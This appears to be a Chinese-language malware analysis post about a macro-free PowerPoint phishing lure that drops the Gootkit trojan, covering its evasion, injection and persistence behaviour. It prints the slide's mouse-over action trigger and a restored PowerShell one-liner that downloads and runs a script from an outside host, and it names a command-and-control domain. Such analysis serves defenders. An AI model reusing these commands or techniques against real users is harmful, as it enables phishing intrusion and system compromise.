新型PPT钓鱼攻击分析(含gootkit木马详细分析)

时间:2022-04-29
本文章向大家介绍新型PPT钓鱼攻击分析(含gootkit木马详细分析),主要内容包括2 分析、总结、基本概念、基础应用、原理机制和需要注意的事项等,并结合实例形式分析了其使用技巧,希望通过本文能帮助到大家理解应用这部分内容。

1 概述

最近出现了一种新型的PPT钓鱼攻击方式,该种钓鱼攻击方式不需要宏就能实现执行powershell的功能,通过网络下载gootkit木马进行控制。

2 分析

样本 MD5:3bff3e4fec2b6030c89e792c05f049fc

在拿到样本我们放到虚拟机中进行执行,可以看到以下,但是这并不会触发攻击

当我们用F5放映这个文档后,并把鼠标放到 Loading…Please wait 这个上面,就可以看到如下的画面,提示我们要启动一个外部程序

这个时候我们在点击启动之后,会看见一个powershell的窗口一闪而过,可以知道样本执行了一段powershell的脚本

我们将样本后缀名改为zip,看看这段powershell 代码在何处,我们最终在pptslides中找到了这段powershell脚本

我们在slide1.xml.rels 中找到这段powershell脚本,我们可以看到Id为rId2,

我们在对应的slide1.xml 中id为rId2 对应的动作位为,当鼠标覆盖时,就触发这个外部事件

<a:hlinkMouseOver r:id="rId2"action="ppaction://program"/>

我们来看看这段powershell 脚本(已还原),可以看到是下载一个php文件放到临时文件夹,并重命名为ii.jse

powershell -NoP -NonI -W Hidden -ExecBypass "IEX (New-Object System.Net.WebClient).DownloadFile('http://'+'cccn.nl/'+'c.php',"$env:tempii.jse");Invoke-Item "$env:tempii.jse""

我们可以看到这个js 文件,这个文件是经过强混淆的作用是下载个exe文件

我们来详细分析下下载到的PE文件

13cdbd8c31155610b628423dc2720419

下图为样本的大致流程

在样本的开始阶段,做了些反模拟机的工作,比如一些错误的函数调用,看返回值是否被修改,执行很多无效指令,来达到模拟机指令的阈值等等

我们来看看这个样本中的sub_41E160中的无效指令

之后一个大的sleep来对抗沙箱,因为很多沙箱是有时间范围的

之后在解密出一段shellcode进行执行,这段shellcode的主要作用就是解密出一个pe文件然后加载运行,解密出的PE文件

将这个PE文件dump出来,看以下基本信息

89509761e2636e2b8a1c6f7ec8823b8f

样本首先会获取当前样本名称和mstsc.exe比较,如果不相同,则进入注入模块

样本首先会创建mstsc.exe

然后通过ZwCreateSection和ZwMapViewOfSection 进行注入,并在注入后,获取启动地址并进行修改

我们手动附加,进行修改,然后修改EIP,进行调试,我们将开始地址修改为下面的样子

由于和原文件代码相同,我们直接到文件名比较的地方,这里比较相同后,首先会获取进程的权限

如果判断是低权限的进程,则会通过ShellExecuteEx 使用管理员权限启动

之后在比较当前进程不是IE和不是任务进程后,打开BIOS注册表,查找是否在虚拟机中

并从系统信息中找到沙箱的蛛丝马迹这个是寻找Sandbox

查找BOCHS

查找的沙箱还有 VBOX 、QEMU、SMCI、Vmware、FTNT-1、VirtualBox、

如果查找到沙箱则进入死循环

然后拷贝自身到如下目录下,重命名位mqnets.exe,并执行

并删除自身

我们看看在拷贝到IE目录下样本会做些什么,在这里比较是在IE目录下的时候,会发生跳转

可以通过伪代码可以发现在通过比较后。会执行一个线程,我们看看这个线程

开头还是一段判断自己是否在虚拟机中

设置了4个环境变量分别是

Standalonemtm true

Vendor_id exe_scheduler_3333

Mainprocessoverride svchost.exe

RandomListenPortBase 6000

这个线程的主要作用是开启下面的5个线程

我们首先看第一个线程,主要作用是连接一个网址

网址为 web.1901ospinosct.com

在连接时候,还包括了探测IE代理的设置,如果发现,进行设置

关闭重定向和加入查询认证(SSL)

将接收的文件内容放到注册中

注册表为 HKEY_CURRENT_USERSoftwarebinaryImage32_0

HKEY_CURRENT_USERSoftwarebinaryImage32_1

第二个线程主要是将第一步下载的创建成文件

将IE的保护模式设置位禁用

第三个线程将文件进行注入

第四个线程主要是保持持久化

创建inf文件

设置启动

使用 IEAKGroupPolicyPendingGPOs key 去保持持久化

第五个线程主要是判断Temp文件是否如下图的文件,如果有壳杀死自身,并删除自身

总结

样本在对抗沙箱和模拟机中有很强的针对性,在持久话方面也很独特,值得研究一下